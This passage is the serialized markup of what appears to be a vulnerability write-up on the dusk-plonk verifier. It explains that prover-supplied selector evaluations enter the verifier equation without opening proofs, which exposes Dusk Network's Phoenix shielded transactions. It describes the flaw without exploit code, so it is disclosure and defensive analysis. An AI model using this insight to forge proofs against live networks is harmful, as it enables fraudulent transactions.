dren":156608},{"className":156607,"style":2066},[337],[],{"type":25,"tag":271,"props":156610,"children":156612},{"className":156611},[2071],[156613],{"type":30,"value":3585},{"type":25,"tag":271,"props":156615,"children":156617},{"className":156616,"style":2066},[337],[],{"type":25,"tag":271,"props":156619,"children":156621},{"className":156620},[285],[156622,156626,156631,156636,156641],{"type":25,"tag":271,"props":156623,"children":156625},{"className":156624,"style":375},[290],[],{"type":25,"tag":271,"props":156627,"children":156629},{"className":156628,"style":8574},[296,297],[156630],{"type":30,"value":156051},{"type":25,"tag":271,"props":156632,"children":156634},{"className":156633},[391],[156635],{"type":30,"value":394},{"type":25,"tag":271,"props":156637,"children":156639},{"className":156638,"style":5889},[296,297],[156640],{"type":30,"value":5892},{"type":25,"tag":271,"props":156642,"children":156644},{"className":156643},[437],[156645],{"type":30,"value":440},{"type":30,"value":156647}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":25,"tag":264,"props":156649,"children":156651},{"className":156650},[267,268],[156652],{"type":25,"tag":271,"props":156653,"children":156655},{"className":156654},[274],[156656],{"type":25,"tag":271,"props":156657,"children":156659},{"className":156658,"ariaHidden":280},[279],[156660],{"type":25,"tag":271,"props":156661,"children":156663},{"className":156662},[285],[156664,156668],{"type":25,"tag":271,"props":156665,"children":156667},{"className":156666,"style":3164},[290],[],{"type":25,"tag":271,"props":156669,"children":156671},{"className":156670,"style":5889},[296,297],[156672],{"type":30,"value":5892},{"type":30,"value":156674}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":25,"tag":26,"props":156676,"children":156677},{},[156678,156680,156705,156707,156712],{"type":30,"value":156679},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":25,"tag":264,"props":156681,"children":156683},{"className":156682},[267,268],[156684],{"type":25,"tag":271,"props":156685,"children":156687},{"className":156686},[274],[156688],{"type":25,"tag":271,"props":156689,"children":156691},{"className":156690,"ariaHidden":280},[279],[156692],{"type":25,"tag":271,"props":156693,"children":156695},{"className":156694},[285],[156696,156700],{"type":25,"tag":271,"props":156697,"children":156699},{"className":156698,"style":3164},[290],[],{"type":25,"tag":271,"props":156701,"children":156703},{"className":156702,"style":5889},[296,297],[156704],{"type":30,"value":5892},{"type":30,"value":156706},", the prover supplies ",{"type":25,"tag":10281,"props":156708,"children":156709},{},[156710],{"type":30,"value":156711},"evaluation claims",{"type":30,"value":156713}," that must be checked against those commitments with opening proofs.",{"type":25,"tag":26,"props":156715,"children":156716},{},[156717,156719,156723],{"type":30,"value":156718},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":25,"tag":10281,"props":156720,"children":156721},{},[156722],{"type":30,"value":14473},{"type":30,"value":156724}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":25,"tag":247,"props":156726,"children":156728},{"id":156727},"what-the-verifier-is-actually-allowed-to-trust",[156729],{"type":30,"value":156730},"What the verifier is actually allowed to trust",{"type":25,"tag":26,"props":156732,"children":156733},{},[156734,156736,156741],{"type":30,"value":156735},"For this bug, one invariant matters more than the rest: ",{"type":25,"tag":38,"props":156737,"children":156738},{},[156739],{"type":30,"value":156740},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":30,"value":1860},{"type":25,"tag":26,"props":156743,"children":156744},{},[156745,156747,156839,156840,156932,156934,156959,156961,157001,157002,157042,157043,157136,157137,157183,157185,157272,157273,157360,157361,157448],{"type":30,"value":156746},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":25,"tag":264,"props":156748,"children":156750},{"className":156749},[267,268],[156751],{"type":25,"tag":271,"props":156752,"children":156754},{"className":156753},[274],[156755],{"type":25,"tag":271,"props":156756,"children":156758},{"className":156757,"ariaHidden":280},[279],[156759],{"type":25,"tag":271,"props":156760,"children":156762},{"className":156761},[285],[156763,156767,156824,156829,156834],{"type":25,"tag":271,"props":156764,"children":156766},{"className":156765,"style":375},[290],[],{"type":25,"tag":271,"props":156768,"children":156770},{"className":156769},[296],[156771,156776],{"type":25,"tag":271,"props":156772,"children":156774},{"className":156773,"style":8574},[296,297],[156775],{"type":30,"value":156051},{"type":25,"tag":271,"props":156777,"children":156779},{"className":156778},[982],[156780],{"type":25,"tag":271,"props":156781,"children":156783},{"className":156782},[987,1100],[156784,156813],{"type":25,"tag":271,"props":156785,"children":156787},{"className":156786},[992],[156788,156808],{"type":25,"tag":271,"props":156789,"children":156791},{"className":156790,"style":155042},[997],[156792],{"type":25,"tag":271,"props":156793,"children":156794},{"style":8597},[156795,156799],{"type":25,"tag":271,"props":156796,"children":156798},{"className":156797,"style":1008},[1007],[],{"type":25,"tag":271,"props":156800,"children":156802},{"className":156801},[1013,1014,1015,1016],[156803],{"type":25,"tag":271,"props":156804,"children":156806},{"className":156805,"style":1052},[296,297,1016],[156807],{"type":30,"value":1055},{"type":25,"tag":271,"props":156809,"children":156811},{"className":156810},[1177],[156812],{"type":30,"value":1180},{"type":25,"tag":271,"props":156814,"children":156816},{"className":156815},[992],[156817],{"type":25,"tag":271,"props":156818,"children":156820},{"className":156819,"style":1619},[997],[156821],{"type":25,"tag":271,"props":156822,"children":156823},{},[],{"type":25,"tag":271,"props":156825,"children":156827},{"className":156826},[391],[156828],{"type":30,"value":394},{"type":25,"tag":271,"props":156830,"children":156832},{"className":156831,"style":5889},[296,297],[156833],{"type":30,"value":5892},{"type":25,"tag":271,"props":156835,"children":156837},{"className":156836},[437],[156838],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":156841,"children":156843},{"className":156842},[267,268],[156844],{"type":25,"tag":271,"props":156845,"children":156847},{"className":156846},[274],[156848],{"type":25,"tag":271,"props":156849,"children":156851},{"className":156850,"ariaHidden":280},[279],[156852],{"type":25,"tag":271,"props":156853,"children":156855},{"className":156854},[285],[156856,156860,156917,156922,156927],{"type":25,"tag":271,"props":156857,"children":156859},{"className":156858,"style":375},[290],[],{"type":25,"tag":271,"props":156861,"children":156863},{"className":156862},[296],[156864,156869],{"type":25,"tag":271,"props":156865,"children":156867},{"className":156866},[296,297],[156868],{"type":30,"value":10316},{"type":25,"tag":271,"props":156870,"children":156872},{"className":156871},[982],[156873],{"type":25,"tag":271,"props":156874,"children":156876},{"className":156875},[987,1100],[156877,156906],{"type":25,"tag":271,"props":156878,"children":156880},{"className":156879},[992],[156881,156901],{"type":25,"tag":271,"props":156882,"children":156884},{"className":156883,"style":1588},[997],[156885],{"type":25,"tag":271,"props":156886,"children":156887},{"style":1592},[156888,156892],{"type":25,"tag":271,"props":156889,"children":156891},{"className":156890,"style":1008},[1007],[],{"type":25,"tag":271,"props":156893,"children":156895},{"className":156894},[1013,1014,1015,1016],[156896],{"type":25,"tag":271,"props":156897,"children":156899},{"className":156898},[296,1016],[156900],{"type":30,"value":968},{"type":25,"tag":271,"props":156902,"children":156904},{"className":156903},[1177],[156905],{"type":30,"value":1180},{"type":25,"tag":271,"props":156907,"children":156909},{"className":156908},[992],[156910],{"type":25,"tag":271,"props":156911,"children":156913},{"className":156912,"style":1619},[997],[156914],{"type":25,"tag":271,"props":156915,"children":156916},{},[],{"type":25,"tag":271,"props":156918,"children":156920},{"className":156919},[391],[156921],{"type":30,"value":394},{"type":25,"tag":271,"props":156923,"children":156925},{"className":156924,"style":5889},[296,297],[156926],{"type":30,"value":5892},{"type":25,"tag":271,"props":156928,"children":156930},{"className":156929},[437],[156931],{"type":30,"value":440},{"type":30,"value":156933},", the public-input polynomial at ",{"type":25,"tag":264,"props":156935,"children":156937},{"className":156936},[267,268],[156938],{"type":25,"tag":271,"props":156939,"children":156941},{"className":156940},[274],[156942],{"type":25,"tag":271,"props":156943,"children":156945},{"className":156944,"ariaHidden":280},[279],[156946],{"type":25,"tag":271,"props":156947,"children":156949},{"className":156948},[285],[156950,156954],{"type":25,"tag":271,"props":156951,"children":156953},{"className":156952,"style":3164},[290],[],{"type":25,"tag":271,"props":156955,"children":156957},{"className":156956,"style":5889},[296,297],[156958],{"type":30,"value":5892},{"type":30,"value":156960},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":25,"tag":264,"props":156962,"children":156964},{"className":156963},[267,268],[156965],{"type":25,"tag":271,"props":156966,"children":156968},{"className":156967},[274],[156969],{"type":25,"tag":271,"props":156970,"children":156972},{"className":156971,"ariaHidden":280},[279],[156973],{"type":25,"tag":271,"props":156974,"children":156976},{"className":156975},[285],[156977,156981,156986,156991,156996],{"type":25,"tag":271,"props":156978,"children":156980},{"className":156979,"style":375},[290],[],{"type":25,"tag":271,"props":156982,"children":156984},{"className":156983},[296,297],[156985],{"type":30,"value":83},{"type":25,"tag":271,"props":156987,"children":156989},{"className":156988},[391],[156990],{"type":30,"value":394},{"type":25,"tag":271,"props":156992,"children":156994},{"className":156993,"style":5889},[296,297],[156995],{"type":30,"value":5892},{"type":25,"tag":271,"props":156997,"children":156999},{"className":156998},[437],[157000],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":157003,"children":157005},{"className":157004},[267,268],[157006],{"type":25,"tag":271,"props":157007,"children":157009},{"className":157008},[274],[157010],{"type":25,"tag":271,"props":157011,"children":157013},{"className":157012,"ariaHidden":280},[279],[157014],{"type":25,"tag":271,"props":157015,"children":157017},{"className":157016},[285],[157018,157022,157027,157032,157037],{"type":25,"tag":271,"props":157019,"children":157021},{"className":157020,"style":375},[290],[],{"type":25,"tag":271,"props":157023,"children":157025},{"className":157024},[296,297],[157026],{"type":30,"value":2508},{"type":25,"tag":271,"props":157028,"children":157030},{"className":157029},[391],[157031],{"type":30,"value":394},{"type":25,"tag":271,"props":157033,"children":157035},{"className":157034,"style":5889},[296,297],[157036],{"type":30,"value":5892},{"type":25,"tag":271,"props":157038,"children":157040},{"className":157039},[437],[157041],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":157044,"children":157046},{"className":157045},[267,268],[157047],{"type":25,"tag":271,"props":157048,"children":157050},{"className":157049},[274],[157051],{"type":25,"tag":271,"props":157052,"children":157054},{"className":157053,"ariaHidden":280},[279],[157055],{"type":25,"tag":271,"props":157056,"children":157058},{"className":157057},[285],[157059,157063,157121,157126,157131],{"type":25,"tag":271,"props":157060,"children":157062},{"className":157061,"style":375},[290],[],{"type":25,"tag":271,"props":157064,"children":157066},{"className":157065},[296],[157067,157073],{"type":25,"tag":271,"props":157068,"children":157070},{"className":157069,"style":1555},[296,297],[157071],{"type":30,"value":157072},"σ",{"type":25,"tag":271,"props":157074,"children":157076},{"className":157075},[982],[157077],{"type":25,"tag":271,"props":157078,"children":157080},{"className":157079},[987,1100],[157081,157110],{"type":25,"tag":271,"props":157082,"children":157084},{"className":157083},[992],[157085,157105],{"type":25,"tag":271,"props":157086,"children":157088},{"className":157087,"style":1588},[997],[157089],{"type":25,"tag":271,"props":157090,"children":157091},{"style":1922},[157092,157096],{"type":25,"tag":271,"props":157093,"children":157095},{"className":157094,"style":1008},[1007],[],{"type":25,"tag":271,"props":157097,"children":157099},{"className":157098},[1013,1014,1015,1016],[157100],{"type":25,"tag":271,"props":157101,"children":157103},{"className":157102},[296,1016],[157104],{"type":30,"value":968},{"type":25,"tag":271,"props":157106,"children":157108},{"className":157107},[1177],[157109],{"type":30,"value":1180},{"type":25,"tag":271,"props":157111,"children":157113},{"className":157112},[992],[157114],{"type":25,"tag":271,"props":157115,"children":157117},{"className":157116,"style":1619},[997],[157118],{"type":25,"tag":271,"props":157119,"children":157120},{},[],{"type":25,"tag":271,"props":157122,"children":157124},{"className":157123},[391],[157125],{"type":30,"value":394},{"type":25,"tag":271,"props":157127,"children":157129},{"className":157128,"style":5889},[296,297],[157130],{"type":30,"value":5892},{"type":25,"tag":271,"props":157132,"children":157134},{"className":157133},[437],[157135],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":157138,"children":157140},{"className":157139},[267,268],[157141],{"type":25,"tag":271,"props":157142,"children":157144},{"className":157143},[274],[157145],{"type":25,"tag":271,"props":157146,"children":157148},{"className":157147,"ariaHidden":280},[279],[157149],{"type":25,"tag":271,"props":157150,"children":157152},{"className":157151},[285],[157153,157157,157162,157167,157172,157178],{"type":25,"tag":271,"props":157154,"children":157156},{"className":157155,"style":375},[290],[],{"type":25,"tag":271,"props":157158,"children":157160},{"className":157159},[296,297],[157161],{"type":30,"value":83},{"type":25,"tag":271,"props":157163,"children":157165},{"className":157164},[391],[157166],{"type":30,"value":394},{"type":25,"tag":271,"props":157168,"children":157170},{"className":157169,"style":5889},[296,297],[157171],{"type":30,"value":5892},{"type":25,"tag":271,"props":157173,"children":157175},{"className":157174,"style":1555},[296,297],[157176],{"type":30,"value":157177},"ω",{"type":25,"tag":271,"props":157179,"children":157181},{"className":157180},[437],[157182],{"type":30,"value":440},{"type":30,"value":157184},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":25,"tag":264,"props":157186,"children":157188},{"className":157187},[267,268],[157189],{"type":25,"tag":271,"props":157190,"children":157192},{"className":157191},[274],[157193],{"type":25,"tag":271,"props":157194,"children":157196},{"className":157195,"ariaHidden":280},[279],[157197],{"type":25,"tag":271,"props":157198,"children":157200},{"className":157199},[285],[157201,157205,157210,157267],{"type":25,"tag":271,"props":157202,"children":157204},{"className":157203,"style":375},[290],[],{"type":25,"tag":271,"props":157206,"children":157208},{"className":157207},[391],[157209],{"type":30,"value":5604},{"type":25,"tag":271,"props":157211,"children":157213},{"className":157212},[296],[157214,157219],{"type":25,"tag":271,"props":157215,"children":157217},{"className":157216,"style":1555},[296,297],[157218],{"type":30,"value":106639},{"type":25,"tag":271,"props":157220,"children":157222},{"className":157221},[982],[157223],{"type":25,"tag":271,"props":157224,"children":157226},{"className":157225},[987,1100],[157227,157256],{"type":25,"tag":271,"props":157228,"children":157230},{"className":157229},[992],[157231,157251],{"type":25,"tag":271,"props":157232,"children":157234},{"className":157233,"style":155042},[997],[157235],{"type":25,"tag":271,"props":157236,"children":157237},{"style":1922},[157238,157242],{"type":25,"tag":271,"props":157239,"children":157241},{"className":157240,"style":1008},[1007],[],{"type":25,"tag":271,"props":157243,"children":157245},{"className":157244},[1013,1014,1015,1016],[157246],{"type":25,"tag":271,"props":157247,"children":157249},{"className":157248,"style":108152},[296,297,1016],[157250],{"type":30,"value":108155},{"type":25,"tag":271,"props":157252,"children":157254},{"className":157253},[1177],[157255],{"type":30,"value":1180},{"type":25,"tag":271,"props":157257,"children":157259},{"className":157258},[992],[157260],{"type":25,"tag":271,"props":157261,"children":157263},{"className":157262,"style":1619},[997],[157264],{"type":25,"tag":271,"props":157265,"children":157266},{},[],{"type":25,"tag":271,"props":157268,"children":157270},{"className":157269},[437],[157271],{"type":30,"value":5630},{"type":30,"value":44},{"type":25,"tag":264,"props":157274,"children":157276},{"className":157275},[267,268],[157277],{"type":25,"tag":271,"props":157278,"children":157280},{"className":157279},[274],[157281],{"type":25,"tag":271,"props":157282,"children":157284},{"className":157283,"ariaHidden":280},[279],[157285],{"type":25,"tag":271,"props":157286,"children":157288},{"className":157287},[285],[157289,157293,157298,157355],{"type":25,"tag":271,"props":157290,"children":157292},{"className":157291,"style":375},[290],[],{"type":25,"tag":271,"props":157294,"children":157296},{"className":157295},[391],[157297],{"type":30,"value":5604},{"type":25,"tag":271,"props":157299,"children":157301},{"className":157300},[296],[157302,157307],{"type":25,"tag":271,"props":157303,"children":157305},{"className":157304,"style":1555},[296,297],[157306],{"type":30,"value":106639},{"type":25,"tag":271,"props":157308,"children":157310},{"className":157309},[982],[157311],{"type":25,"tag":271,"props":157312,"children":157314},{"className":157313},[987,1100],[157315,157344],{"type":25,"tag":271,"props":157316,"children":157318},{"className":157317},[992],[157319,157339],{"type":25,"tag":271,"props":157320,"children":157322},{"className":157321,"style":155042},[997],[157323],{"type":25,"tag":271,"props":157324,"children":157325},{"style":1922},[157326,157330],{"type":25,"tag":271,"props":157327,"children":157329},{"className":157328,"style":1008},[1007],[],{"type":25,"tag":271,"props":157331,"children":157333},{"className":157332},[1013,1014,1015,1016],[157334],{"type":25,"tag":271,"props":157335,"children":157337},{"className":157336,"style":2296},[296,297,1016],[157338],{"type":30,"value":7663},{"type":25,"tag":271,"props":157340,"children":157342},{"className":157341},[1177],[157343],{"type":30,"value":1180},{"type":25,"tag":271,"props":157345,"children":157347},{"className":157346},[992],[157348],{"type":25,"tag":271,"props":157349,"children":157351},{"className":157350,"style":1619},[997],[157352],{"type":25,"tag":271,"props":157353,"children":157354},{},[],{"type":25,"tag":271,"props":157356,"children":157358},{"className":157357},[437],[157359],{"type":30,"value":5630},{"type":30,"value":44},{"type":25,"tag":264,"props":157362,"children":157364},{"className":157363},[267,268],[157365],{"type":25,"tag":271,"props":157366,"children":157368},{"className":157367},[274],[157369],{"type":25,"tag":271,"props":157370,"children":157372},{"className":157371,"ariaHidden":280},[279],[157373],{"type":25,"tag":271,"props":157374,"children":157376},{"className":157375},[285],[157377,157381,157386,157443],{"type":25,"tag":271,"props":157378,"children":157380},{"className":157379,"style":375},[290],[],{"type":25,"tag":271,"props":157382,"children":157384},{"className":157383},[391],[157385],{"type":30,"value":5604},{"type":25,"tag":271,"props":157387,"children":157389},{"className":157388},[296],[157390,157395],{"type":25,"tag":271,"props":157391,"children":157393},{"className":157392,"style":1555},[296,297],[157394],{"type":30,"value":157072},{"type":25,"tag":271,"props":157396,"children":157398},{"className":157397},[982],[157399],{"type":25,"tag":271,"props":157400,"children":157402},{"className":157401},[987,1100],[157403,157432],{"type":25,"tag":271,"props":157404,"children":157406},{"className":157405},[992],[157407,157427],{"type":25,"tag":271,"props":157408,"children":157410},{"className":157409,"style":1588},[997],[157411],{"type":25,"tag":271,"props":157412,"children":157413},{"style":1922},[157414,157418],{"type":25,"tag":271,"props":157415,"children":157417},{"className":157416,"style":1008},[1007],[],{"type":25,"tag":271,"props":157419,"children":157421},{"className":157420},[1013,1014,1015,1016],[157422],{"type":25,"tag":271,"props":157423,"children":157425},{"className":157424},[296,1016],[157426],{"type":30,"value":30650},{"type":25,"tag":271,"props":157428,"children":157430},{"className":157429},[1177],[157431],{"type":30,"value":1180},{"type":25,"tag":271,"props":157433,"children":157435},{"className":157434},[992],[157436],{"type":25,"tag":271,"props":157437,"children":157439},{"className":157438,"style":1619},[997],[157440],{"type":25,"tag":271,"props":157441,"children":157442},{},[],{"type":25,"tag":271,"props":157444,"children":157446},{"className":157445},[437],[157447],{"type":30,"value":5630},{"type":30,"value":157449},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":25,"tag":26,"props":157451,"children":157452},{},[157453],{"type":30,"value":157454},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":25,"tag":92,"props":157456,"children":157457},{},[],{"type":25,"tag":96,"props":157459,"children":157461},{"id":157460},"where-dusk-plonk-differs-from-textbook-plonk",[157462],{"type":30,"value":157463},"Where dusk-plonk differs from textbook PLONK",{"type":25,"tag":26,"props":157465,"children":157466},{},[157467,157476,157478,157483,157485,157515],{"type":25,"tag":83,"props":157468,"children":157470},{"href":154342,"rel":157469},[9066],[157471],{"type":25,"tag":264,"props":157472,"children":157474},{"className":157473},[],[157475],{"type":30,"value":154346},{"type":30,"value":157477}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":25,"tag":264,"props":157479,"children":157481},{"className":157480},[],[157482],{"type":30,"value":13482},{"type":30,"value":157484},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":25,"tag":264,"props":157486,"children":157488},{"className":157487},[267,268],[157489],{"type":25,"tag":271,"props":157490,"children":157492},{"className":157491},[274],[157493],{"type":25,"tag":271,"props":157494,"children":157496},{"className":157495,"ariaHidden":280},[279],[157497],{"type":25,"tag":271,"props":157498,"children":157500},{"className":157499},[285],[157501,157505,157510],{"type":25,"tag":271,"props":157502,"children":157504},{"className":157503,"style":3164},[290],[],{"type":25,"tag":271,"props":157506,"children":157508},{"className":157507,"style":5889},[296,297],[157509],{"type":30,"value":5892},{"type":25,"tag":271,"props":157511,"children":157513},{"className":157512,"style":1555},[296,297],[157514],{"type":30,"value":157177},{"type":30,"value":157516},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":25,"tag":26,"props":157518,"children":157519},{},[157520,157522,157527,157528,157533,157535,157541,157543,157550],{"type":30,"value":157521},"The important part for this bug is the boundary between ",{"type":25,"tag":38,"props":157523,"children":157524},{},[157525],{"type":30,"value":157526},"public circuit data",{"type":30,"value":12218},{"type":25,"tag":38,"props":157529,"children":157530},{},[157531],{"type":30,"value":157532},"prover claims about that data at the random challenge point",{"type":30,"value":157534},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":25,"tag":264,"props":157536,"children":157538},{"className":157537},[],[157539],{"type":30,"value":157540},"Ql, Qr, Qm, Qo, Qk",{"type":30,"value":157542}," directly into the ",{"type":25,"tag":83,"props":157544,"children":157547},{"href":157545,"rel":157546},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[9066],[157548],{"type":30,"value":157549},"linearization multi-scalar multiplication",{"type":30,"value":157551},", ensuring their values are cryptographically bound by construction.",{"type":25,"tag":26,"props":157553,"children":157554},{},[157555,157557,157582],{"type":30,"value":157556},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":25,"tag":264,"props":157558,"children":157560},{"className":157559},[267,268],[157561],{"type":25,"tag":271,"props":157562,"children":157564},{"className":157563},[274],[157565],{"type":25,"tag":271,"props":157566,"children":157568},{"className":157567,"ariaHidden":280},[279],[157569],{"type":25,"tag":271,"props":157570,"children":157572},{"className":157571},[285],[157573,157577],{"type":25,"tag":271,"props":157574,"children":157576},{"className":157575,"style":3164},[290],[],{"type":25,"tag":271,"props":157578,"children":157580},{"className":157579,"style":5889},[296,297],[157581],{"type":30,"value":5892},{"type":30,"value":157583}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":25,"tag":26,"props":157585,"children":157586},{},[157587],{"type":30,"value":157588},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":25,"tag":157590,"props":157591,"children":157592},"dusk-verifier-dependence-graph",{},[],{"type":25,"tag":92,"props":157594,"children":157595},{},[],{"type":25,"tag":96,"props":157597,"children":157599},{"id":157598},"how-dusk-uses-plonk",[157600],{"type":30,"value":157601},"How Dusk uses PLONK",{"type":25,"tag":26,"props":157603,"children":157604},{},[157605,157611],{"type":25,"tag":83,"props":157606,"children":157608},{"href":154351,"rel":157607},[9066],[157609],{"type":30,"value":157610},"Dusk Network",{"type":30,"value":157612}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":25,"tag":108,"props":157614,"children":157615},{},[157616,157621],{"type":25,"tag":112,"props":157617,"children":157618},{},[157619],{"type":30,"value":157620},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":25,"tag":112,"props":157622,"children":157623},{},[157624],{"type":30,"value":157625},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":25,"tag":26,"props":157627,"children":157628},{},[157629,157631,157642,157644,157655],{"type":30,"value":157630},"At node level, every ",{"type":25,"tag":83,"props":157632,"children":157635},{"href":157633,"rel":157634},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[9066],[157636],{"type":25,"tag":264,"props":157637,"children":157639},{"className":157638},[],[157640],{"type":30,"value":157641},"ProtocolTransaction::Phoenix",{"type":30,"value":157643}," goes through ",{"type":25,"tag":83,"props":157645,"children":157648},{"href":157646,"rel":157647},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[9066],[157649],{"type":25,"tag":264,"props":157650,"children":157652},{"className":157651},[],[157653],{"type":30,"value":157654},"verify_proof_with_version()",{"type":30,"value":157656}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":25,"tag":26,"props":157658,"children":157659},{},[157660,157662,157673,157675,157686,157687,157698,157699,157710,157711,157722],{"type":30,"value":157661},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":25,"tag":83,"props":157663,"children":157666},{"href":157664,"rel":157665},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[9066],[157667],{"type":25,"tag":264,"props":157668,"children":157670},{"className":157669},[],[157671],{"type":30,"value":157672},"phoenix()",{"type":30,"value":157674},", for example in ",{"type":25,"tag":83,"props":157676,"children":157679},{"href":157677,"rel":157678},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[9066],[157680],{"type":25,"tag":264,"props":157681,"children":157683},{"className":157682},[],[157684],{"type":30,"value":157685},"phoenix_stake()",{"type":30,"value":44},{"type":25,"tag":83,"props":157688,"children":157691},{"href":157689,"rel":157690},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[9066],[157692],{"type":25,"tag":264,"props":157693,"children":157695},{"className":157694},[],[157696],{"type":30,"value":157697},"phoenix_stake_reward()",{"type":30,"value":44},{"type":25,"tag":83,"props":157700,"children":157703},{"href":157701,"rel":157702},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[9066],[157704],{"type":25,"tag":264,"props":157705,"children":157707},{"className":157706},[],[157708],{"type":30,"value":157709},"phoenix_unstake()",{"type":30,"value":69},{"type":25,"tag":83,"props":157712,"children":157715},{"href":157713,"rel":157714},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[9066],[157716],{"type":25,"tag":264,"props":157717,"children":157719},{"className":157718},[],[157720],{"type":30,"value":157721},"phoenix_to_moonlight()",{"type":30,"value":157723},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":25,"tag":26,"props":157725,"children":157726},{},[157727],{"type":25,"tag":698,"props":157728,"children":157731},{"alt":157729,"src":157730},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":25,"tag":26,"props":157733,"children":157734},{},[157735,157737,157743,157745,157752],{"type":30,"value":157736},"The PLONK implementation, ",{"type":25,"tag":83,"props":157738,"children":157741},{"href":157739,"rel":157740},"https://github.com/dusk-network/plonk",[9066],[157742],{"type":30,"value":154346},{"type":30,"value":157744},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":25,"tag":83,"props":157746,"children":157749},{"href":157747,"rel":157748},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[9066],[157750],{"type":30,"value":157751},"the original paper",{"type":30,"value":157753}," was released.",{"type":25,"tag":26,"props":157755,"children":157756},{},[157757,157759,157765],{"type":30,"value":157758},"The Phoenix transaction PLONK circuit is defined ",{"type":25,"tag":83,"props":157760,"children":157763},{"href":157761,"rel":157762},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[9066],[157764],{"type":30,"value":60700},{"type":30,"value":157766},". The circuit enforces the following set of constraints:",{"type":25,"tag":15346,"props":157768,"children":157769},{},[157770,157786],{"type":25,"tag":15350,"props":157771,"children":157772},{},[157773],{"type":25,"tag":15354,"props":157774,"children":157775},{},[157776,157781],{"type":25,"tag":15358,"props":157777,"children":157778},{},[157779],{"type":30,"value":157780},"Circuit check",{"type":25,"tag":15358,"props":157782,"children":157783},{},[157784],{"type":30,"value":157785},"Statement being checked",{"type":25,"tag":15379,"props":157787,"children":157788},{},[157789,157807,157825,157843,157861,158018,158158,158176],{"type":25,"tag":15354,"props":157790,"children":157791},{},[157792,157802],{"type":25,"tag":15386,"props":157793,"children":157794},{},[157795],{"type":25,"tag":83,"props":157796,"children":157799},{"href":157797,"rel":157798},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[9066],[157800],{"type":30,"value":157801},"Merkle tree membership",{"type":25,"tag":15386,"props":157803,"children":157804},{},[157805],{"type":30,"value":157806},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":25,"tag":15354,"props":157808,"children":157809},{},[157810,157820],{"type":25,"tag":15386,"props":157811,"children":157812},{},[157813],{"type":25,"tag":83,"props":157814,"children":157817},{"href":157815,"rel":157816},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[9066],[157818],{"type":30,"value":157819},"Input-note secret-key 